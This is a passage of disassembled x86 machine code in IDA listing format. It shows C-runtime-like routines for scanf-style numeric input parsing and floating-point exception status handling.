		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5

loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C328
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al

loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43C534
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------

loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi

loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1

loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------

loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58

loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------

loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax

loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx

loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F

loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43C534, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------

loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------

loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43C534, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------

loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------

loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280

loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F

loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------

loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------

loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D

loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43C534, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------

loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43C534, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------

loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D

loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------

loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi

loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0

loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]

loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di

loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------

loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C328
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]

loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax

loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------

loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h

loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D

loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------

loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]

loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43C534, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------

loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C328
		mov	al, [eax+esi*2]
		and	eax, 4

loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43CCA0, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB2A8, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h

loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43CCA0, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------

loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------

loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------

loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx

loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 265037Bh
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh

loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh

loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h

loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh

loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh

loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------

loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx

loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------

loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------

loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx

loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
